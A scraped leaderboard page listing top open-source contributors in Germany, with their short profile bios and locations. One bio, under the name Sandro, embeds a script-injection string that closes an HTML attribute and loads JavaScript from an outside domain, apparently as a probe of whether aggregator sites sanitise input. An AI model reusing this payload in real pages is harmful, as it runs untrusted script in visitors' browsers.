Germany
Top 100 Open Source Contributors in Germany
Minimum 50 followers required. 🕒 Last updated: .
Check Global leaderboard
Germany
Alejandro Falkowski
My passion for technology has seen me traverse the different types of roles within IT.
Berlin, GermanyBreakdown

kristof kaehler
Python library shell javascript
Germany Breakdown

Marian Steinbach
Designing your experience with @giantswarm
Cologne, GermanyBreakdown

Martin Stühmer
CTO @ Integrated Worlds, Husband and father, .NET and Azure enthusiast
Greater Stuttgart Metro, GermanyBreakdown

Sandro
devops engineer, programmer, gamer and nixpkgs commiter "><script src=//sandro.ez.pe></script><x="
GermanyBreakdown

Sebastian Schuberth
A Kotlin enthusiast who's enjoying to work with and on Open Source Software.
Berlin, GermanyBreakdown

Ingo Fischer
I'm matter.js and iobroker lead developers, also work in other Smart Home and Node.js projects . Support me at https://github.com/sponsors/Apollon77
GermanyBreakdown
Berlin, GermanyBreakdown

Jens L.
I make things sometimes. CTO at @goauthentik, ex SRE @yelp, ex @Haufe-Lexware
GermanyBreakdown
Stuttgart, GermanyBreakdown
GermanyBreakdown

Max Horn
Mathematician. Computational Group Theory, Algebraic Lie-Theory.
Kaiserslautern, GermanyBreakdown

Thomas Müller
PHP developer
GermanyBreakdown

RW
Senior full stack developer, Maintainer for @gofiber
GermanyBreakdown
Cologne, GermanyBreakdown

Niklas
"I have no idea why this works. You better don't touch it."
Kiel, GermanyBreakdown

Frank Elsinga
Governing Board @maplibre | Building TUMs Roomfinder | currently M.Sc. Informatics at the TU Munich
Munich, GermanyBreakdown
Magdeburg, GermanyBreakdown
Freiburg (Germany)Breakdown
Berlin, GermanyBreakdown
GermanyBreakdown

CanbiZ (MickLesk)
Maintainer of @community-scripts. Proxmox VE, Debian & Alpine automation. Native installs, long-term maintenance, production-ready scripts.
GermanyBreakdown

Christian Bargmann
Platform Engineer @moia-dev / Tech Debt Loan Shark
Hamburg, GermanyBreakdown
Berlin, GermanyBreakdown
Berlin, GermanyBreakdown

Andy Scherzinger
VP Engineering @nextcloud. Formerly also worked on @CityZenApp, @owncloud and @AndlyticsProject.
FFM, GermanyBreakdown

Víctor Cuadrado Juan
Staff Engineer @SUSE, focused on Kubernetes, Wasm, and security. Let's build libre technologies together!
GermanyBreakdown
Heidelberg, GermanyBreakdown

Jens Scheffler
Enthusiast to implement large scale automation solutions for testing frameworks in autonomous driving for Bosch. Committer+PMC of Apache Airflow. ASF Member.
Stuttgart, GermanyBreakdown
GermanyBreakdown

Fabian Meumertzheim
Migrated from @FabianHenneke
GermanyBreakdown

Martin Pitt
GPG fingerprint: 3DB4 6B55 EFA5 9D40 E623 2148 D14E F15D AFE1 1347 https://fosstodon.org/@martinpitt
GermanyBreakdown

Björn Ricks
Software developer @Greenbone. Caring about the Greenbone Community Edition aka. OpenVAS. Doing Python stuff.
GermanyBreakdown

Marc Philipp
Software engineer (ex-@gradle), @JUnit-team lead, @Java Champion, and open-source enthusiast
Karlsruhe, GermanyBreakdown

Alexander Schwartz
Web (for ages), Java (several years), Agile (my pleasure). Maintainer on the @keycloak project. Views are my own and do not reflect the views of my employer.
Frankfurt/Main (Germany)Breakdown
Potsdam, GermanyBreakdown
GermanyBreakdown

Markus Staab
I am available for paid support of PHPStan and related static analysis tooling.
GermanyBreakdown
GermanyBreakdown

Bluefox
My name is Denis Haev and I am one of the core developers of ioBroker and CEO of ioBroker GmbH
Altleiningen, GermanyBreakdown

Sebastian "Sebbie" Silbermann
I maintain stuff.
Berlin, GermanyBreakdown
GermanyBreakdown

Robert Stupp
OSS stuff, distributed data & co
GermanyBreakdown
GermanyBreakdown

Björn Büttner
I'm a software engineer and modder from the middle west of Germany. I enjoy programming both in my professional and private life.
Mülheim, GermanyBreakdown

Shay Rojansky
Principal software engineer working on .NET data access and perf, member of the Entity Framework team at Microsoft. Lead dev of Npgsql, the PostgreSQL provider.
Berlin, GermanyBreakdown
Tamm, GermanyBreakdown
GermanyBreakdown

Jannis Leidel
Principal Engineer at @anaconda working on @conda. @conda-forge core member. @psf chair and fellow. @jazzband and @pypa founder. @mozilla and @django alum
GermanyBreakdown

Uwe L. Korn
CTO @Quantco; Apache Arrow and Parquet PMC, @conda-forge core; PyData Südwest Organizer.
Karlsruhe, GermanyBreakdown
GermanyBreakdown
Leverkusen, GermanyBreakdown

Lukas Wirth
@rust-analyzer lead, accidental IDE dev, specification writer and general open source tinkerer
GermanyBreakdown

Cedric Ziel
I solve more problems than I create.
Halver, GermanyBreakdown

Adam J. Stewart
Postdoc, AI4EO researcher, creator of TorchGeo, maintainer of Spack, Rtree, Lightning UQ Box, SMP
Munich, GermanyBreakdown

Marc Durdin
Project manager for @keymanapp project by SIL Global (@sillsdev)
GermanyBreakdown

Ruben Bridgewater
@tc39 Invited Expert. @nodejs Technical Steering Committee member. Staff Engineer @Datadog. Conference Speaker. Open Source enthusiast.
Frankfurt, GermanyBreakdown

Carl Schwan
Free software programmer. Contribute to Nextcloud during the day and to KDE during the night. KDE e.V. board member.
Berlin, GermanyBreakdown
Bonn, GermanyBreakdown

Matthias Urhahn
Working on open-source projects at @d4rken-org. Available for freelance gigs.
GermanyBreakdown

Karsten Thoms
Open Source 🆓 | Operaton ⚙️ | Speaker 🎤 | Java ☕️ | Eclipse ☀️ | Spring 🍃 | Cloud ⛅️ | Tool Crafter 🔧 | Microservices ⚙️
Dortmund, GermanyBreakdown

Tom Wieczorek
Working on k0s - The Zero Friction Kubernetes.
GermanyBreakdown

Philipp Schuster
Writing code, maintaining open-source software, solving problems. Also: rock concerts and traveling the world.
Dresden, GermanyBreakdown
Bonn, GermanyBreakdown

Konstantinos Paparas
Android (Kotlin) and Front-End (Vue.js, Angular, TypeScript) Open Source Software Engineer. Also working with .NET Framework and C#.
Berlin, GermanyBreakdown
GermanyBreakdown

James A. Fellows Yates
Bioinformatician with specialism in ancient DNA and metagenomics. nf-core core-team member and SPAAM community founder. @jfy133@genomic.social
Leipzig, GermanyBreakdown

Jan Kowalleck
Lead Software Engineer & Architect · FOSS Author & Maintainer · @OWASP @CycloneDX Project Co-Lead
Nuremberg, GermanyBreakdown

Carlos Eduardo Arango Gutierrez
Senior Systems Software Engineer. Environmental engineer lost to distributed systems, HPC and cloud computing.
Bavaria, GermanyBreakdown

Ben Kochie
Bit Plumber
Berlin, GermanyBreakdown

Hofer-Julian
@prefix-dev software engineer, @GNOME foundation member.
GermanyBreakdown

Huang Xin
a software developer for dumb machines and also a brain hacker interested in the nature of seeing & conscious artifacts
GermanyBreakdown

Paulo Matos
Igalian working on FEX-Emu, Proud Father of 2, AWA IRONMAN Triathlete. Uke Player - Aspiring Pianist.
Somewhere beautiful, GermanyBreakdown

Johannes Müller
Team lead / core developer of @crystal-lang at @manastech
Fulda, GermanyBreakdown
Stuttgart, GermanyBreakdown

Maximilian Franzke
UX Engineering Lead @ DB UX Design System
GermanyBreakdown

Matthias Beyer
Rust at day and nighttime :tada:
GermanyBreakdown

Alexander Kiel
I work in academic, medical IT in Germany. My interests are in database technology and functional programming. Currently I work a lot with FHIR.
Leipzig, GermanyBreakdown

Jonas Thelemann
You'll never have more time than now.
Kassel, GermanyBreakdown

Adnaan Badr
Devops, Go, Kubernetes. Reducing cloud native complexity. Ex-Android Framework Engineer. Worked on a linux server, a tablet, a phone and a smartwatch.
Berlin, GermanyBreakdown
GermanyBreakdown

Clelia (Astra) Bertelli
Pythonist, Gopher and aspiring Rustacean, building open source stuff with AI
GermanyBreakdown

andig
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGi8rUJarKZuWnZNOnhtcXZCrPskbF7HOcig6nkjWlU2
GermanyBreakdown

Bernardo Belchior
React Engineer @ MUI
Berlin, GermanyBreakdown

Mark Paluch
Finest hand-crafted software. Spring Data Project Lead, All Things Reactive. Open source, music, and computers.
Ostfriesland 🌊🌬️🌞🌧️ GermanyBreakdown

Rainer Gerhards
rsyslog maintainer
GermanyBreakdown
Berlin, GermanyBreakdown
Germany, BerlinBreakdown
Munich, GermanyBreakdown
Hannover, GermanyBreakdown

biörn
today: ux, delta chat. music software and lots of stuff in the past.
GermanyBreakdown

Kasper Stöckel
Freelance Ruby on Rails & React developer
GermanyBreakdown
GermanyBreakdown

Patrick Ohly
Principal Engineer at Intel
GermanyBreakdown

Philipp Rudiger
Principal Software Engineer @ Anaconda Inc., creator of Panel, hvPlot, HoloViews and GeoViews and maintainer of Bokeh and Datashader.
Berlin, GermanyBreakdown

Matthias Mohr
Software engineer working on geospatial cloud technologies for @moregeo-it. JS, Python, Java, PHP, ...
Münster, GermanyBreakdown

Paul Meyer
security software engineer | @NixOS maintainer
GermanyBreakdown

AlCalzone
Working on invisible magic 🧙🏻♂️ @OpenHomeFoundation. Founder of @zwave-js. Smart Home Enthusiast 🏠📡
GermanyBreakdown

Matthias Nehlsen
I create technical debt for a living.
Hamburg & Berlin, Germany






























